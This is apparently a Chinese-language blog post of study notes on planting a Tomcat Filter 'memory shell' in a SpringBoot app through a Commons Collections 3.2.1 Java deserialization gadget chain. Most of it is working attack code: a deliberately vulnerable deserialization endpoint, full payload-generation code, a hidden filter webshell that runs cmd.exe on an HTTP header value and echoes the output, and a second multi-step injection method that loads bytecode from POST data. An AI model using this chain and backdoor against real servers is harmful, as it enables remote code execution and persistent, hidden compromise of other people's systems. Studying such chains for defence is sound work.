前言
学习。
环境搭建
Web服务端
CC3依赖:
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
反序列化接口:
1 2 3 4 5 6 7 8 9 10 11 12 13
| @RequestMapping("/deserialize") public String deserialize(@RequestParam(value = "s")String s, Model model) { System.out.println(s); try { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s)); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object obj = objectInputStream.readObject(); model.addAttribute("res", obj.getClass().getName()); }catch (Exception e) { } return "deserialize"; }
|
Payload生成端
cc3、javassist和tomcat依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>9.0.65</version> </dependency>
|
生成序列化对象,通过调用TemplatesImpl类的defineTransletClasses函数的方式可以在服务端远程导入内存马类:
1
| _class[i] = loader.defineClass(_bytecodes[i]);
|
但是为了不抛出异常,该类需要继承自AbstractTranslet:
1 2 3 4 5 6
| final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
|
将生成序列化对象的代码和内存马分离:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| private static TemplatesImpl getTemplatesImpl() throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass clazz = pool.get(PwnFilter.class.getName()); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); byte[] classBytes = clazz.toBytecode(); TemplatesImpl poc = new TemplatesImpl(); Utils.setField(poc, "_bytecodes", new byte[][]{classBytes}); Utils.setField(poc, "_name", "Pwn"); Utils.setField(poc, "_tfactory", TransformerFactoryImpl.newInstance()); return poc; }
private static Transformer getChainedInstantiateTransformer(Object poc) { Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{poc}), }; return new ChainedTransformer(transformers); }
public static Object getObject() throws NoSuchFieldException, CannotCompileException, NotFoundException, IOException { Object poc = getTemplatesImpl(); Transformer transformerChain = getChainedInstantiateTransformer(poc); Map<String, String> map = new HashMap<>(); map.put("Aluvion", "Twings"); Map lazyMap = LazyMap.decorate(map, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Utils.setField(badAttributeValueExpException, "val", entry); return badAttributeValueExpException; }
|
注入内存马的代码可以写在static代码块,也可以写在无参构造函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public class PwnFilter implements Serializable, Filter { static { ClassLoader cl = Thread.currentThread().getContextClassLoader(); StandardRoot resources = null; try { Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); f.setAccessible(true); resources = (StandardRoot)f.get(cl); }catch (Exception e) { } if (resources != null) { System.out.println(resources.getClass().getName()); StandardContext context = (StandardContext)resources.getContext(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(new PwnFilter()); filterDef.setFilterName("filterShell"); context.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName("filterShell"); filterMap.addURLPattern("/filterShell"); context.addFilterMap(filterMap); context.filterStart(); }else { System.out.println("Failed..."); } }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { try { String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")}; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); response.getWriter().write(new String(result)); } catch (Exception e) { } } }
|
注入内存马
需要发两个包,首先生成序列化数据,然后交给接口触发反序列化漏洞,导入类的同时将内存马注入到了SpringBoot服务中:

然后再发包访问内存马执行命令并得到回显:

另一种Context获取方式
想要注入Filter内存马就要先获取到Context,而在执行过程中,Tomcat会通过ApplicationFilterChain访问Filter链,其存在两个static属性,通过反射可以访问:
1 2
| private static final ThreadLocal<ServletRequest> lastServicedRequest; private static final ThreadLocal<ServletResponse> lastServicedResponse;
|
还有一个同样是static的布尔属性成员WRAP_SAME_OBJECT,当该成员的值为true时,ApplicationFilterChain类的internalDoFilter函数会有一些特殊的处理方式:
1 2 3 4
| if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); }
|
该internalDoFilter函数会在执行过程中被调用,并进入service()函数交予SpringBoot控制器代码,所以交给反序列化时还不会触发后续的重置操作:
1 2 3 4 5 6
| finally { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(null); lastServicedResponse.set(null); } }
|
同时由于Context会在Request中保存,因此可以通过修改WRAP_SAME_OBJECT的方式,让ApplicationFilterChain类帮我们把Request保存起来。
这种方式最大的问题就是长度很容易超出上限,所以分成三步进行,第一步修改WRAP_SAME_OBJECT:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public class GetContext { public GetContext() { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); setFinalStatic(WRAP_SAME_OBJECT_FIELD); setFinalStatic(lastServicedRequestField); setFinalStatic(lastServicedResponseField); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)lastServicedRequestField.get(null); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>)lastServicedResponseField.get(null); if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null) { WRAP_SAME_OBJECT_FIELD.setBoolean(null,true); lastServicedRequestField.set(null, new ThreadLocal()); lastServicedResponseField.set(null, new ThreadLocal()); } }catch (Exception e) { } }
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException { field.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); } }
|
此时可以在ApplicationFilterChain的静态成员中获取Request和Context,第二步就可以注入内存马,由于HTTP对Header和URI长度有限制,因此将内存马和注入代码放在POST数据中,再从Request中取出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class InjectFilter { static { try { Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); f.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)f.get(null); ServletRequest servletRequest = lastServicedRequest.get(); StringBuilder sb = new StringBuilder(); BufferedReader br = servletRequest.getReader(); String str; while ((str = br.readLine()) != null) { sb.append(str); } System.out.println(sb.toString()); byte[] payload = Base64.getDecoder().decode(sb.toString()); Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length); clazz.newInstance(); }catch (Exception e) { } } }
|
同时将内存马的字节码放在POST数据体里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| public class PwnFilter implements Serializable, Filter { static { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); setFinalStatic(WRAP_SAME_OBJECT_FIELD); setFinalStatic(lastServicedRequestField); setFinalStatic(lastServicedResponseField); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)lastServicedRequestField.get(null);ServletRequest servletRequest = lastServicedRequest.get(); ServletContext servletContext = servletRequest.getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext)context1.get(applicationContext); FilterDef filterDef = new FilterDef(); filterDef.setFilter(new PwnFilter()); filterDef.setFilterName("filterShell"); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName("filterShell"); filterMap.addURLPattern("/filterShell"); standardContext.addFilterMap(filterMap); standardContext.filterStart(); }catch (Exception e) { } }
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException { field.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) { try { String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")}; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); response.getWriter().write(new String(result)); } catch (Exception e) { } } }
|
需要读取字节码然后BASE64一下方便传输:
1 2 3 4 5
| public static byte[] getBytes() throws CannotCompileException, NotFoundException, IOException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(PwnFilter.class.getName()); return clazz.toBytecode(); }
|
参考
Tomcat反序列化注入回显内存马
Shiro反序列化与Tomcat内存马注入学习